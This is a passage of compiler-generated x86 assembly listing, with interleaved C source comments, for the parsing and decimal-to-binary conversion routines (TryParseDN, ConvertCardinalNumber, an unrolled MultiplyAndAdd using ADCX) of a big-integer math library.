lea eax, DWORD PTR _work_buf_words$2[ebp]
push eax
lea eax, DWORD PTR [esi+32]
push eax
call _AllocateBlock
mov esi, eax
add esp, 12 ; 0000000cH
mov DWORD PTR _work_buf$1$[ebp], esi
; 699 : if (work_buf == NULL)
test esi, esi
jne SHORT $LN49@TryParseDN
; 700 : return (PMC_STATUS_NOT_ENOUGH_MEMORY);
lea eax, DWORD PTR [esi-5]
jmp SHORT $LN86@TryParseDN
$LN49@TryParseDN:
; 701 :
; 702 : __UNIT_TYPE work_buf_count = 1;
; 703 : work_buf[0] = in_buf[0];
mov eax, DWORD PTR [edi]
mov ebx, 1
mov DWORD PTR [esi], eax
; 704 : ++in_buf;
add edi, 4
; 705 : --in_buf_count;
mov eax, DWORD PTR _bin_buf_count$1$[ebp]
add eax, -1
mov DWORD PTR _in_buf_count$1$[ebp], eax
; 706 :
; 707 : while (in_buf_count > 0)
je SHORT $LN48@TryParseDN
$LL47@TryParseDN:
; 708 : {
; 709 : __UNIT_TYPE* w_tail = (*fp_MultiplyAndAdd)(work_buf, work_buf_count, *in_buf);
push DWORD PTR [edi]
push ebx
push esi
call DWORD PTR _fp_MultiplyAndAdd
mov ebx, eax
; 710 : work_buf_count = w_tail - work_buf;
; 711 : ++in_buf;
lea edi, DWORD PTR [edi+4]
sub ebx, esi
add esp, 12 ; 0000000cH
sar ebx, 2
; 712 : --in_buf_count;
sub DWORD PTR _in_buf_count$1$[ebp], 1
jne SHORT $LL47@TryParseDN
$LN48@TryParseDN:
; 713 : }
; 714 : if ((result = CheckBlockLight(work_buf, work_buf_code)) != PMC_STATUS_OK)
push DWORD PTR _work_buf_code$1[ebp]
push esi
call _CheckBlockLight
add esp, 8
mov DWORD PTR _result$5$[ebp], eax
test eax, eax
je SHORT $LN50@TryParseDN
; 715 : return (result);
mov edi, DWORD PTR _bin_buf$1$[ebp]
mov ebx, DWORD PTR _o$[ebp]
jmp SHORT $LN46@TryParseDN
$LN50@TryParseDN:
; 717 : DeallocateBlock(work_buf, work_buf_words);
push DWORD PTR _work_buf_words$2[ebp]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 68 : __movsd((unsigned long *)d, (unsigned long *)s, (unsigned long)count);
mov edi, DWORD PTR _out_buf$1$[ebp]
mov ecx, ebx
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 717 : DeallocateBlock(work_buf, work_buf_words);
push DWORD PTR _work_buf$1$[ebp]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 68 : __movsd((unsigned long *)d, (unsigned long *)s, (unsigned long)count);
rep movsd
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 717 : DeallocateBlock(work_buf, work_buf_words);
call _DeallocateBlock
mov edi, DWORD PTR _bin_buf$1$[ebp]
add esp, 8
mov ebx, DWORD PTR _o$[ebp]
; 718 : return (PMC_STATUS_OK);
xor eax, eax
$LN86@TryParseDN:
; 844 : }
; 845 :
; 846 : if ((result = ConvertCardinalNumber(bin_buf, bin_buf_count, (*o)->BLOCK)) != PMC_STATUS_OK)
mov DWORD PTR _result$5$[ebp], eax
$LN46@TryParseDN:
mov ecx, DWORD PTR [ebx]
test eax, eax
je SHORT $LN25@TryParseDN
; 847 : {
; 848 : DeallocateNumber(*o);
push ecx
call _DeallocateNumber
; 849 : DeallocateBlock(bin_buf, bin_buf_words);
push DWORD PTR _bin_buf_words$[ebp]
push edi
call _DeallocateBlock
; 850 : return (result);
mov eax, DWORD PTR _result$5$[ebp]
add esp, 12 ; 0000000cH
pop edi
; 862 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN25@TryParseDN:
; 851 : }
; 852 : if ((result = CheckBlockLight((*o)->BLOCK, no_light_check_code)) != PMC_STATUS_OK)
push DWORD PTR _no_light_check_code$[ebp]
push DWORD PTR [ecx+32]
call _CheckBlockLight
add esp, 8
test eax, eax
jne SHORT $LN1@TryParseDN
; 853 : return (result);
; 854 : DeallocateBlock(bin_buf, bin_buf_words);
push DWORD PTR _bin_buf_words$[ebp]
push edi
call _DeallocateBlock
; 855 : CommitNumber(*o);
push DWORD PTR [ebx]
call _CommitNumber
; 856 : if ((*o)->IS_ZERO)
mov eax, DWORD PTR [ebx]
add esp, 12 ; 0000000cH
test BYTE PTR [eax+24], 2
je SHORT $LN27@TryParseDN
; 857 : {
; 858 : DeallocateNumber(*o);
push eax
call _DeallocateNumber
add esp, 4
; 859 : *o = &number_zero;
mov DWORD PTR [ebx], OFFSET _number_zero
$LN27@TryParseDN:
; 860 : }
; 861 : return (PMC_STATUS_OK);
xor eax, eax
$LN1@TryParseDN:
pop edi
; 862 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
_TryParseDN ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _ConvertCardinalNumber
_TEXT SEGMENT
_work_buf_words$ = -12 ; size = 4
_work_buf$1$ = -8 ; size = 4
_work_buf_code$ = -4 ; size = 4
_in_buf$ = 8 ; size = 4
_in_buf_count$ = 12 ; size = 4
_out_buf$ = 16 ; size = 4
_ConvertCardinalNumber PROC ; COMDAT
; 694 : {
push ebp
mov ebp, esp
sub esp, 12 ; 0000000cH
push edi
; 695 : PMC_STATUS_CODE result;
; 696 : __UNIT_TYPE work_buf_code;
; 697 : __UNIT_TYPE work_buf_words;
; 698 : __UNIT_TYPE* work_buf = AllocateBlock(__UNIT_TYPE_BIT_COUNT * (in_buf_count + 1), &work_buf_words, &work_buf_code);
lea eax, DWORD PTR _work_buf_code$[ebp]
push eax
lea eax, DWORD PTR _work_buf_words$[ebp]
push eax
mov eax, DWORD PTR _in_buf_count$[ebp]
inc eax
shl eax, 5
push eax
call _AllocateBlock
mov edi, eax
add esp, 12 ; 0000000cH
mov DWORD PTR _work_buf$1$[ebp], edi
; 699 : if (work_buf == NULL)
test edi, edi
jne SHORT $LN4@ConvertCar
; 700 : return (PMC_STATUS_NOT_ENOUGH_MEMORY);
lea eax, DWORD PTR [edi-5]
pop edi
; 719 : }
mov esp, ebp
pop ebp
ret 0
$LN4@ConvertCar:
push ebx
push esi
; 701 :
; 702 : __UNIT_TYPE work_buf_count = 1;
; 703 : work_buf[0] = in_buf[0];
mov esi, DWORD PTR _in_buf$[ebp]
mov ebx, 1
mov eax, DWORD PTR [esi]
; 704 : ++in_buf;
add esi, 4
sub DWORD PTR _in_buf_count$[ebp], ebx
mov DWORD PTR [edi], eax
; 705 : --in_buf_count;
; 706 :
; 707 : while (in_buf_count > 0)
je SHORT $LN3@ConvertCar
$LL2@ConvertCar:
; 708 : {
; 709 : __UNIT_TYPE* w_tail = (*fp_MultiplyAndAdd)(work_buf, work_buf_count, *in_buf);
push DWORD PTR [esi]
push ebx
push edi
call DWORD PTR _fp_MultiplyAndAdd
mov ebx, eax
; 710 : work_buf_count = w_tail - work_buf;
; 711 : ++in_buf;
lea esi, DWORD PTR [esi+4]
sub ebx, edi
add esp, 12 ; 0000000cH
sar ebx, 2
; 712 : --in_buf_count;
sub DWORD PTR _in_buf_count$[ebp], 1
jne SHORT $LL2@ConvertCar
$LN3@ConvertCar:
; 713 : }
; 714 : if ((result = CheckBlockLight(work_buf, work_buf_code)) != PMC_STATUS_OK)
push DWORD PTR _work_buf_code$[ebp]
push edi
call _CheckBlockLight
add esp, 8
test eax, eax
jne SHORT $LN13@ConvertCar
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 68 : __movsd((unsigned long *)d, (unsigned long *)s, (unsigned long)count);
mov eax, DWORD PTR _work_buf$1$[ebp]
mov ecx, ebx
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 717 : DeallocateBlock(work_buf, work_buf_words);
push DWORD PTR _work_buf_words$[ebp]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 68 : __movsd((unsigned long *)d, (unsigned long *)s, (unsigned long)count);
mov edi, DWORD PTR _out_buf$[ebp]
mov esi, eax
rep movsd
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 717 : DeallocateBlock(work_buf, work_buf_words);
push eax
call _DeallocateBlock
add esp, 8
; 718 : return (PMC_STATUS_OK);
xor eax, eax
$LN13@ConvertCar:
pop esi
pop ebx
pop edi
; 719 : }
mov esp, ebp
pop ebp
ret 0
_ConvertCardinalNumber ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _MultiplyAndAdd_using_ADCX_MULX
_TEXT SEGMENT
_u_buf$ = 8 ; size = 4
_u_count$ = 12 ; size = 4
_x$ = 16 ; size = 4
_MultiplyAndAdd_using_ADCX_MULX PROC ; COMDAT
; 551 : {
push ebp
mov ebp, esp
; 552 : __UNIT_TYPE k = x;
; 553 : __UNIT_TYPE count = u_count >> 5;
; 554 : while (count > 0)
mov ecx, DWORD PTR _u_buf$[ebp]
push ebx
mov ebx, DWORD PTR _u_count$[ebp]
mov eax, ebx
push esi
shr eax, 5
push edi
mov edi, DWORD PTR _x$[ebp]
test eax, eax
je $LN3@MultiplyAn
mov ebx, eax
npad 2
$LL2@MultiplyAn:
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+4]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+4], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+8]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+8], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+12]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+12], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+16]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+16], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+20]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+20], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+24]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+24], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+28]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+28], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+32]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+32], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+36]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+36], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+40]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+40], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+44]
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
mov DWORD PTR [ecx+44], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+48]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+48], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+52]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+52], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+56]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+56], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+60]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+60], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+64]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+64], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+68]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+68], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+72]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+72], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+76]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+76], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+80]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+80], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+84]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+84], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+88]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+88], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+92]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+92], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+96]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+96], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+100]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+100], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+104]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+104], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+108]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+108], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+112]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+112], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+116]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+116], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+120]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+120], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+124]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+124], eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov edx, OFFSET _statistics_info+4
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov eax, 0
adcx edi, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 588 : u_buf += 32;
sub ecx, -128 ; ffffff80H
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov eax, 32 ; 00000020H
lock xadd DWORD PTR [edx], eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 589 : --count;
sub ebx, 1
jne $LL2@MultiplyAn
; 552 : __UNIT_TYPE k = x;
; 553 : __UNIT_TYPE count = u_count >> 5;
; 554 : while (count > 0)
mov ebx, DWORD PTR _u_count$[ebp]
$LN3@MultiplyAn:
; 590 : #ifdef ENABLED_PERFORMANCE_COUNTER
; 591 : if (sizeof(k) == sizeof(_UINT32_T))
; 592 : AddToMULTI32Counter(32);
; 593 : else
; 594 : AddToMULTI64Counter(32);
; 595 : #endif
; 596 : }
; 597 :
; 598 : if (u_count & 0x10)
test bl, 16 ; 00000010H
je $LN509@MultiplyAn
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
